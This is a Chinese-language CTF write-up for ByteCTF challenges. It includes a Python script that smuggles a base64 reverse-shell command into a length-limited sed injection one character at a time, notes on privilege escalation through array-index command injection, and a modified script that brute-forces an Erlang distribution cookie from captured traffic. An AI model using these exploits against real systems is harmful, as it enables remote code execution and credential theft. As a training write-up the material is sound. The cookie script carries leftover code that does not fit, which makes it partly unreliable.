又是一次爆零的比赛。。。还是太菜了,还得多练。

Bash Game

比赛的时候本以为这是唯一一道可能做出来的题,赛后看了wp才知道,即使最开始那个字符限制给我侥幸绕过了,后面也是狠狠坐牢。。。

题目主要文件

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main

import (
"ByteCTF/lib/cmd"

"github.com/gin-gonic/gin"
)

func main() {
r := gin.Default()
r.POST("/update", func(c *gin.Context) {
result := Update(c)
c.String(200, result)
})
r.GET("/", func(c *gin.Context) {
c.String(200, "Welcome to BashGame")
})
r.Run(":23333")
}

const OpsPath = "/opt/challenge/ops.sh"
const CtfPath = "/opt/challenge/ctf.sh"

func Update(c *gin.Context) string {
username := c.PostForm("name")
if len(username) < 6 {
_, err := cmd.Exec("/bin/bash", OpsPath, username)
if err != nil {
return err.Error()
}
}
ret, err := cmd.Exec("/bin/bash", CtfPath)
if err != nil {
return err.Error()
}
return string(ret)
}

ops.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
# -----------params------------
name=$1

switch_domain() {
conf_file="/opt/challenge/ctf.sh"
sed -i "s/Bytectf.*!/Bytectf, $name!/" "$conf_file"
}

# 调用函数
switch_domain

ctf.sh

1
2
#!/bin/bash
echo welcome to Bytectf, username!

题目的逻辑是向/update post传参一个name,这个name的值会替换掉ctf.sh中的username,并且ctf.sh会被执行。

很显然就是要用这个name传入我们要执行的命令,但是题目中对输入的内容长度进行了检测,必须小于6。然而,用来表示内容是命令的反引号已经占掉了两个字符,也就是说得在三字符内构造出我们需要的命令。

写脚本,每次传一个字符,同时用#注释掉!,最终构成我们的反弹shell的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
rs = requests.Session()
url_base = 'http://xxx.clsadp.com'
def add_char(char):
url = url_base + "/update"
param = '\\0'+char+'/#'
assert len(param)<6
data = {"name": param}
response = rs.post(url, data=data)
return response.text
if __name__ == '__main__':
command = '''
`echo "(这里写自己的反弹shell命令的base64编码)"|base64 -d|bash`
'''.strip()
command = command[::-1]

for char in command:
add_char(char)

image-20240923002401672

这里我们是ctf用户,也没法使用sudo,使用sudo -l看看能干什么

image-20240923002541504

这里是程序进行了检测是否是终端而我们是shell导致的没法使用sudo,获取ptyify将我们转化为伪终端会话。

image-20240923003112221

在数组的索引中插入命令,利用truegame.sh读取flag

image-20240923003343716

题目要求提交重要通信的cookie的md5值

流量包中有很多用来混淆的cookie,但是显然这里要找的是erlang cookie

过滤erldp协议,可以看到很多send challenge的操作

image-20240923235751542

在github上可以找到有用来爆破erlang cookie的脚本

由于这里不需要远程交互,可以直接从流量包中提取到challenge和digest,因此需要对bruteforce-erldp稍作一下修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3

import asyncio
from erldp import authenticate
import hashlib
import sys
import argparse
import json
from itertools import islice

def authenticate(cookie_bytes, challenge):
md5_hash = hashlib.md5()
md5_hash.update(cookie_bytes)
md5_hash.update(str(challenge).encode())
digest = md5_hash.hexdigest()
return digest == "f0e2967976d3ad1d0e8d2e85e7146f1a"
def parse_interval(arg):
elms = arg.split(',')
assert(len(elms) == 3)
return int(elms[0], 0), int(elms[1], 0), float(elms[2])

def parse_distribution(arg):
intervals = []
with open(arg, 'r') as f:
obj = json.load(f)
for item in obj:
assert('start' in item)
assert('stop' in item)
assert('prob' in item)
intervals.append((item['start'], item['stop'], item['prob']))
return intervals

def walk_intervals(intervals):
for (start, stop, prob) in sorted(intervals, key=lambda x: x[2], reverse=True):
for x in range(start, stop):
yield x


def next_random(x): return (x*17059465 + 1) & 0xfffffffff
def derive_cookie(seed, size):
x = seed
cookie = bytearray(b'0'*size)
for i in range(size-1, -1, -1):
x = next_random(x)
cookie[i] = ord('A') + ((26*x) // 0x1000000000)
return bytes(cookie)

def batched(iterable, n):
"Batch data into tuples of length n. The last batch may be shorter."
# batched('ABCDEFG', 3) --> ABC DEF G
if n < 1:
raise ValueError('n must be at least one')
it = iter(iterable)
while batch := tuple(islice(it, n)):
yield batch

async def derive_and_authenticate(seed, challenge):
cookie = derive_cookie(seed, 20)

success = authenticate(cookie,challenge)
if success:
print(f'[*] seed={seed:#x} cookie={cookie.decode()}')
(r, w) = success
w.close()
await w.wait_closed()

async def amain(intervals, sim, target, port):
for seeds in batched(walk_intervals(intervals), sim):
tasks = [asyncio.create_task(derive_and_authenticate(seed, 0x60ea7bde)) for seed in seeds]
await asyncio.gather(*tasks)

if __name__ == '__main__':
import argparse

parser = argparse.ArgumentParser()
mutual = parser.add_mutually_exclusive_group(required=True)
mutual.add_argument('--interval', action='append', type=parse_interval)
mutual.add_argument('--distribution')
mutual.add_argument('--seed-full-space', action='store_true')
mutual.add_argument('--sim', default=16, type=int)
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')

args = parser.parse_args()
print(args)

if args.seed_full_space:
intervals = [parse_interval('300000000,500000000,1000')]
elif args.distribution:
intervals = parse_distribution(args.distribution)
else:
intervals = args.interval
pass

asyncio.run(amain(intervals, args.sim, args.target, args.port))

挂着跑一段时间即可得到结果

image-20240924000420546